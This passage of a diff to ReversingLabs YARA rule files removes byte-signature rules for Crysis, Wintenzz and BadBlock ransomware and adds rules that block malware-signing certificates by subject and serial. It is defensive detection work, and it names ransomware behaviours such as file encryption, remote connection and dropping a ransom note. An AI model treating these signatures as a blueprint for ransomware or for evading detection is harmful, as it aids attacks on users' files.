?? 33 C0 89 45 ?? 33 C0 89 45 ?? 33 - C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 45 ?? 50 8B 45 ?? 8D 50 ?? 8B 45 ?? 33 C9 - E8 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? 83 C0 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B - 40 ?? E8 ?? ?? ?? ?? 8B D0 4A 8B 45 ?? 83 C0 ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 40 ?? E8 - ?? ?? ?? ?? 89 45 ?? 8D 45 ?? 50 8B 45 ?? 8B 48 ?? 8B 45 ?? 8D 50 ?? 8B 45 ?? E8 ?? - ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 85 C0 75 ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 - ?? ?? ?? ?? 8B 45 ?? 50 53 8B 45 ?? 50 8B 45 ?? 50 8D 4D ?? 8D 55 ?? 8B 45 ?? E8 ?? - ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? - 8B 45 ?? 50 8D 45 ?? 50 8B 45 ?? 83 C0 ?? E8 ?? ?? ?? ?? 50 6A ?? 6A ?? 6A ?? 8B 45 - ?? 50 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 75 ?? 8B 45 ?? 83 C0 ?? 8B 55 ?? - E8 ?? ?? ?? ?? 8B 45 ?? 50 8D 45 ?? 50 8B 45 ?? 83 C0 ?? E8 ?? ?? ?? ?? 50 6A ?? 6A - ?? 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? EB ?? E8 ?? ?? ?? ?? 85 C0 74 ?? C7 45 ?? ?? ?? - ?? ?? 8B 45 ?? 83 C0 ?? 8B 55 ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? E8 ?? ?? ?? ?? EB - ?? 8B 45 ?? 8B 50 ?? 8B 45 ?? 83 C0 ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? - ?? ?? ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 6A ?? 8B 45 - ?? 50 E8 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 8D 50 ?? 8B 45 ?? 8B 4D ?? E8 ?? ?? - ?? ?? C3 - } - $find_files = { - 55 8B EC 81 C4 ?? ?? ?? ?? 53 56 33 DB 89 9D ?? ?? ?? ?? 89 5D ?? 8B D9 89 55 ?? 89 - 45 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF - 30 64 89 20 8B C3 E8 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? - 80 7C 02 ?? ?? 74 ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 8B 45 - ?? 80 38 ?? 75 ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 95 ?? - ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? 8B 4D ?? 8B 55 ?? E8 ?? ?? ?? ?? 8D 85 ?? - ?? ?? ?? 50 8B 45 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F0 85 F6 0F 95 C0 EB ?? F7 - 85 ?? ?? ?? ?? ?? ?? ?? ?? 77 ?? 83 3B ?? 74 ?? 8B C3 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? - FF 33 FF 75 ?? 8D 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF - B5 ?? ?? ?? ?? 8B C3 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 E8 ?? ?? - ?? ?? F7 D8 1B C0 F7 D8 84 C0 75 ?? 56 E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? - ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "TASK ANNA LIMITED" and ( pe.signatures [ i ] . serial == "00:ff:52:eb:01:1b:b7:48:fe:e7:51:53:cb:e1:e5:0d:d6" or pe.signatures [ i ] . serial == "ff:52:eb:01:1b:b7:48:fe:e7:51:53:cb:e1:e5:0d:d6" ) and 1647388800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Crysis : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_84A4A0D0657E217B176B455E2465Aee0 : INFO FILE { meta: - description = "Yara rule that detects Crysis ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "bba2bbf5-ff77-5ec4-ae7f-afae1b564fb7" - date = "2020-06-26" - modified = "2020-07-15" + id = "1484a28d-ce7c-506f-8cbb-73ac541a0907" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Crysis.yara#L1-L108" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11784-L11802" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "3c9250206f94ac65c1fc24e83cf8cdd76d10066086ef1f34ec14791d237c0263" + logic_hash = "92f6e90bd21182bece68ac1651105f96a18c5b1497d30e0040a978e349341bdb" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Crysis" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $remote_connection_1 = { - 55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 6A ?? 6A ?? - 6A ?? FF 15 ?? ?? ?? ?? 89 45 ?? 6A ?? 6A ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? B9 - ?? ?? ?? ?? 66 89 4D ?? 6A ?? FF 15 ?? ?? ?? ?? 66 89 45 ?? 8B 55 ?? 52 FF 15 ?? ?? - ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? C7 45 ?? - ?? ?? ?? ?? EB ?? 8B 45 ?? 83 C0 ?? 89 45 ?? 8B 4D ?? 8B 51 ?? 8B 45 ?? 83 3C 82 ?? - 74 ?? 8B 4D ?? 0F BF 51 ?? 52 8B 45 ?? 8B 48 ?? 8B 55 ?? 8B 04 91 50 8D 4D ?? 51 E8 - ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 55 ?? 52 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 6A - ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 50 8B 55 ?? 52 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 6A ?? - 6A ?? 8D 4D ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? C7 45 - ?? ?? ?? ?? ?? EB ?? E9 ?? ?? ?? ?? 8B 45 ?? 8B E5 5D C3 - } - $enumerate_files = { - 55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 33 DB 81 7D ?? ?? ?? ?? ?? 56 57 89 5C 24 ?? - 0F 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 7D ?? - 57 8B F0 FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 6A ?? - 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 8E ?? ?? ?? ?? 8D 44 24 ?? 50 56 - FF 15 ?? ?? ?? ?? 89 44 24 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8B 5D ?? 8D 4C 24 ?? 51 68 - ?? ?? ?? ?? 57 6A ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 7E ?? F6 44 24 - ?? ?? 74 ?? 66 83 7C 24 ?? ?? 74 ?? 53 8D 54 24 ?? 52 8B D6 8B CF FF 55 ?? 85 C0 7E - ?? 8B 45 ?? 8B 4D ?? 40 50 53 51 56 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 53 8D 54 24 ?? 52 - 8B D6 8B CF FF 55 ?? 85 C0 7E ?? FF 44 24 ?? 8B 4C 24 ?? 8D 44 24 ?? 50 51 FF 15 ?? - ?? ?? ?? 85 C0 7F ?? 8B 54 24 ?? 52 FF 15 ?? ?? ?? ?? 8B 5C 24 ?? 56 6A ?? FF 15 ?? - ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 5F 5E 8B C3 5B 8B E5 5D C3 - } - $enumerate_resources = { - FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? - 8D 55 ?? 52 8B 45 ?? 50 8D 4D ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? - ?? ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B 45 ?? 83 C0 ?? 89 45 ?? 8B 4D ?? 3B 4D ?? 0F 83 - ?? ?? ?? ?? 8B 55 ?? C1 E2 ?? 8B 45 ?? 83 7C 10 ?? ?? 75 ?? 8B 4D ?? 51 FF 15 ?? ?? - ?? ?? 8B 55 ?? C1 E2 ?? 8B 4D ?? 8B 75 ?? 8B 54 16 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8B - 45 ?? 50 8B 4D ?? 51 8B 55 ?? C1 E2 ?? 8B 45 ?? 8B 4C 10 ?? 51 E8 ?? ?? ?? ?? 83 C4 - ?? 8B 55 ?? C1 E2 ?? 8B 45 ?? 8B 4C 10 ?? 83 E1 ?? 74 ?? 8B 55 ?? 52 8B 45 ?? 50 8B - 4D ?? 51 8B 55 ?? C1 E2 ?? 03 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? C7 45 - ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8D - 4D ?? 51 8B 55 ?? 52 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7 - 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 8B 4D ?? 51 8D 55 ?? 52 8B 45 ?? - 50 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B 4D ?? 83 - C1 ?? 89 4D ?? 8B 55 ?? 3B 55 ?? 0F 83 ?? ?? ?? ?? 8B 45 ?? C1 E0 ?? 8B 4D ?? 83 7C - 01 ?? ?? 75 ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 8B 55 ?? C1 E2 ?? 8B 4D ?? 8B 75 ?? 8B - 54 16 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? C1 E2 ?? 8B 45 - ?? 8B 4C 10 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C1 E2 ?? 8B 45 ?? 8B 4C 10 ?? 83 - E1 ?? 74 ?? 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? C1 E2 ?? 03 55 ?? 52 E8 ?? - ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E9 ?? ?? - ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 5E 8B E5 5D C3 - } - $encrypt_files = { - 55 8B EC 81 EC ?? ?? ?? ?? 53 8B D8 33 C0 56 89 45 ?? 89 45 ?? 89 45 ?? 89 45 ?? 8B - 45 ?? 6A ?? 50 8D 4D ?? 51 8D 77 ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B - D3 83 E2 ?? 2B DA 83 EB ?? 83 C4 ?? 89 5D ?? 8B 1D ?? ?? ?? ?? 50 FF D3 89 45 ?? 83 - F8 ?? 0F 84 ?? ?? ?? ?? 8B 4D ?? 51 FF D3 83 F8 ?? 0F 85 ?? ?? ?? ?? 8B 55 ?? 81 C2 - ?? ?? ?? ?? 81 FA ?? ?? ?? ?? 0F 83 ?? ?? ?? ?? 8B 45 ?? A8 ?? 74 ?? 83 E0 ?? 50 8B - 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 51 - FF 15 ?? ?? ?? ?? 8B D8 89 5D ?? 83 FB ?? 0F 84 ?? ?? ?? ?? 6A ?? 8D 55 ?? 52 33 C0 - 33 C9 51 50 53 89 45 ?? 89 45 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 83 7D ?? - ?? 75 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 33 C9 51 8D 55 ?? 52 33 C0 50 51 53 FF 15 ?? - ?? ?? ?? 8B 45 ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? - 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 8B 55 ?? 8B 4D ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 8B 55 ?? 8B 45 ?? 6A ?? 8D 4D ?? 51 52 57 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? - ?? 8B 4D ?? 85 C9 74 ?? 8B 45 ?? 85 C0 75 ?? 3B 4D ?? 73 ?? 8B D1 83 E2 ?? B8 ?? ?? - ?? ?? 2B C2 89 45 ?? 57 03 C1 8D 8D ?? ?? ?? ?? 57 51 E8 ?? ?? ?? ?? 8B 4D ?? 03 4D - ?? 83 C4 ?? 6A ?? 8D 55 ?? 52 51 57 53 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B - 45 ?? 03 45 ?? 39 45 ?? 0F 85 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? 6A ?? 8D 4D ?? 51 52 57 - 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? E9 ?? ?? ?? ?? 6A ?? 6A ?? 57 E8 ?? ?? ?? ?? 8B 45 - ?? 83 C4 ?? C7 47 ?? ?? ?? ?? ?? C7 47 ?? ?? ?? ?? ?? 85 C0 74 ?? 8B 4D ?? 51 50 56 - C7 47 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 03 F0 01 45 ?? 8B 55 ?? 6A ?? - 52 56 E8 ?? ?? ?? ?? 8B 45 ?? 6A ?? 50 83 C6 ?? 56 E8 ?? ?? ?? ?? 6A ?? 8D 4D ?? 51 - 83 C6 ?? 56 E8 ?? ?? ?? ?? 6A ?? 8D 55 ?? 52 83 C6 ?? 56 E8 ?? ?? ?? ?? 8B 45 ?? 68 - ?? ?? ?? ?? 50 83 C6 ?? 56 E8 ?? ?? ?? ?? 6A ?? 8D 4D ?? 51 83 EE ?? 56 E8 ?? ?? ?? - ?? 83 C4 ?? 6A ?? 8D 55 ?? 52 83 C6 ?? 2B F7 56 57 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? - 39 75 ?? 75 ?? 53 FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 83 7D - ?? ?? 7E ?? 8B 75 ?? 33 C9 51 8D 55 ?? 52 33 C0 50 51 56 FF 15 ?? ?? ?? ?? 56 FF 15 - ?? ?? ?? ?? 8B 5D ?? 53 FF 15 ?? ?? ?? ?? 83 7D ?? ?? 7E ?? 8B 45 ?? 8B 4D ?? 50 51 - FF 15 ?? ?? ?? ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A - ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 5E 5B 8B E5 5D C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( $enumerate_resources and $enumerate_files and $encrypt_files and $remote_connection_1 ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "AATB ApS" and ( pe.signatures [ i ] . serial == "00:84:a4:a0:d0:65:7e:21:7b:17:6b:45:5e:24:65:ae:e0" or pe.signatures [ i ] . serial == "84:a4:a0:d0:65:7e:21:7b:17:6b:45:5e:24:65:ae:e0" ) and 1616457600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win64_Ransomware_Wintenzz : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_B8F726508Cf1D7B7913Bf4Bbd1E5C19C : INFO FILE { meta: - description = "Yara rule that detects Wintenzz ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "6bf569e8-b050-51ef-a948-0eb294248d63" - date = "2021-11-02" - modified = "2021-11-02" + id = "eb441b57-0f28-5609-b987-157e1f026b0c" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win64.Ransomware.Wintenzz.yara#L1-L83" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11804-L11822" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ff4bdf2f6ee185b98d0014b3066806fe7e25ea94f46837948bc5262440bf8a56" + logic_hash = "ec05c7e41e309aff00ae819c63f5bdc8e4172c611779da345efd211e48c9efb1" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Wintenzz" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files = { - 48 8D 75 ?? 41 B8 ?? ?? ?? ?? 48 89 F1 31 D2 E8 ?? ?? ?? ?? 48 89 F9 48 89 F2 E8 ?? - ?? ?? ?? 48 83 F8 ?? 0F 84 ?? ?? ?? ?? 48 89 C6 48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ?? - ?? ?? 0F 28 85 ?? ?? ?? ?? 0F 29 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? - ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 0F 28 05 ?? ?? ?? ?? 0F 11 00 0F 28 85 ?? ?? ?? - ?? 0F 11 40 ?? 48 8B 8D ?? ?? ?? ?? 48 89 48 ?? 49 89 77 ?? 49 89 47 ?? 41 C7 47 ?? - ?? ?? ?? ?? 49 8D 4F ?? 48 8D 55 ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 40 B6 ?? 31 C0 - 49 89 07 48 85 DB 75 ?? EB ?? E8 ?? ?? ?? ?? 48 C1 E0 ?? 49 89 47 ?? 49 C7 47 ?? ?? - ?? ?? ?? B8 ?? ?? ?? ?? 31 F6 49 89 07 48 85 DB 74 ?? 48 01 DB 74 ?? 41 B8 ?? ?? ?? - ?? 48 89 F9 48 89 DA E8 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 85 D2 74 ?? 41 B8 ?? ?? - ?? ?? 4C 89 F1 E8 ?? ?? ?? ?? 40 84 F6 75 ?? 48 8B 8D ?? ?? ?? ?? 48 85 C9 74 ?? 48 - 8B 95 ?? ?? ?? ?? 48 85 D2 74 ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 89 F8 48 81 C4 - ?? ?? ?? ?? 5B 5F 5E 41 5E 41 5F 5D C3 BA - } - $encrypt_files_p1 = { - 4C 89 75 ?? 48 8D 05 ?? ?? ?? ?? 48 89 45 ?? 48 8D 05 ?? ?? ?? ?? 48 89 45 ?? 48 8D - 05 ?? ?? ?? ?? 48 89 45 ?? 48 8D 05 ?? ?? ?? ?? 48 89 45 ?? 48 C7 45 ?? ?? ?? ?? ?? - 48 C7 45 ?? ?? ?? ?? ?? 48 89 7D ?? 48 C7 45 ?? ?? ?? ?? ?? 48 8D 4D ?? 48 8D 55 ?? - E8 ?? ?? ?? ?? 0F 10 45 ?? 0F 29 45 ?? 48 8B 45 ?? 48 89 45 ?? 48 8D 4D ?? 48 8D 55 - ?? E8 ?? ?? ?? ?? 48 85 DB 74 ?? BA ?? ?? ?? ?? 48 89 D9 E8 ?? ?? ?? ?? 48 85 C0 75 - ?? BA ?? ?? ?? ?? 48 89 D9 E8 - } - $encrypt_files_p2 = { - 86 97 ?? ?? ?? ?? C0 74 3C ?? ?? C1 E8 ?? 28 03 00 48 ?? C0 74 2F ?? ?? FA 03 75 ?? - 48 8D 0D ?? ?? ?? ?? 48 39 C8 0F 84 ?? ?? ?? ?? 0F B7 08 81 F1 ?? ?? ?? ?? 0F B6 40 - ?? 83 F0 ?? 66 09 C8 0F 84 ?? ?? ?? ?? 48 8B 4D ?? 48 8B 55 ?? E8 ?? ?? ?? ?? 48 85 - C0 74 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 85 C0 74 ?? 48 83 FA ?? 75 ?? 48 8D 0D ?? ?? ?? - ?? 48 39 C8 0F 84 ?? ?? ?? ?? 81 38 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 48 8B 4D ?? 48 8B - 55 ?? E8 ?? ?? ?? ?? 48 85 C0 74 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 85 C0 74 ?? 48 83 FA - ?? 75 ?? 48 8D 0D ?? ?? ?? ?? 48 39 C8 0F 84 ?? ?? ?? ?? 0F B7 08 81 F1 ?? ?? ?? ?? - 0F B6 40 ?? 83 F0 ?? 66 09 C8 0F 84 ?? ?? ?? ?? 48 8B 4D ?? 48 8B 55 ?? E8 ?? ?? ?? - ?? 48 85 C0 74 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 85 C0 74 ?? 48 83 FA ?? 75 ?? 48 8D 0D - ?? ?? ?? ?? 48 39 C8 0F 84 ?? ?? ?? ?? 0F B7 08 81 F1 ?? ?? ?? ?? 0F B6 40 ?? 83 F0 - ?? 66 09 C8 0F 84 ?? ?? ?? ?? 48 8B 4D - } - $drop_ransom_note = { - 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 85 D2 74 ?? 48 8B 8D ?? ?? - ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 85 D2 74 ?? 48 8B 8D - ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 85 D2 74 ?? 48 - 8B 8D ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 85 D2 74 - ?? 48 8B 8D ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 85 - D2 74 ?? 48 8B 8D ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? - 48 85 D2 74 ?? 48 8B 8D ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 95 ?? ?? - ?? ?? 48 85 D2 74 ?? 48 8B 8D ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 40 84 F6 - 0F 85 ?? ?? ?? ?? 48 8B 55 ?? 48 85 D2 74 ?? 41 B8 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? - E8 ?? ?? ?? ?? 48 8B 55 ?? 48 85 D2 74 ?? 41 B8 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? E8 - ?? ?? ?? ?? 48 8B 55 - } - condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( all of ( $encrypt_files_* ) ) and ( $drop_ransom_note ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Merkuri LLC" and ( pe.signatures [ i ] . serial == "00:b8:f7:26:50:8c:f1:d7:b7:91:3b:f4:bb:d1:e5:c1:9c" or pe.signatures [ i ] . serial == "b8:f7:26:50:8c:f1:d7:b7:91:3b:f4:bb:d1:e5:c1:9c" ) and 1619568000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Badblock : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_6A241Ffe96A6349Df608D22C02942268 : INFO FILE { meta: - description = "Yara rule that detects BadBlock ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "a5afb7d6-4bc1-5465-a35d-fe40e7f11c3e" - date = "2020-06-26" - modified = "2020-07-15" + id = "8a8decfe-c91a-562c-9376-462cab598373" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.BadBlock.yara#L1-L100" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11824-L11840" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "421e6a3772eeec6ef0cbb2427b7e044b450a2b2146cee2ca7d8c3a3a92918557" + logic_hash = "79db8be7ca3ed80eb1e3a9401e8fec2b83da8b95b16789ed0b59bb7f4639a94d" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "BadBlock" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files = { - 55 8B EC 83 C4 ?? 53 56 57 33 DB 89 5D ?? 89 5D ?? 89 5D ?? 89 4D ?? 89 55 ?? 8B D8 - 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 55 ?? 8B 45 ?? - 8B 40 ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B C3 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 55 - ?? 8B 45 ?? 8B 40 ?? E8 ?? ?? ?? ?? 8D 45 ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 - ?? B2 ?? E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D - 45 ?? 50 E8 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? - ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B D0 8B 45 ?? 85 C0 74 ?? 83 E8 ?? 8B 00 6A ?? 50 52 - 8B 45 ?? 50 E8 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 8B 45 ?? 50 68 ?? ?? ?? ?? 8B 45 ?? 50 - E8 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 - 6A ?? 6A ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 10 FF 12 89 45 ?? 89 55 ?? E9 ?? ?? - ?? ?? 83 7D ?? ?? 75 ?? 81 7D ?? ?? ?? ?? ?? 73 ?? EB ?? 7D ?? 8B 45 ?? 89 45 ?? 8B - 45 ?? 89 45 ?? EB ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 8B D8 8B C3 - E8 ?? ?? ?? ?? 8B F0 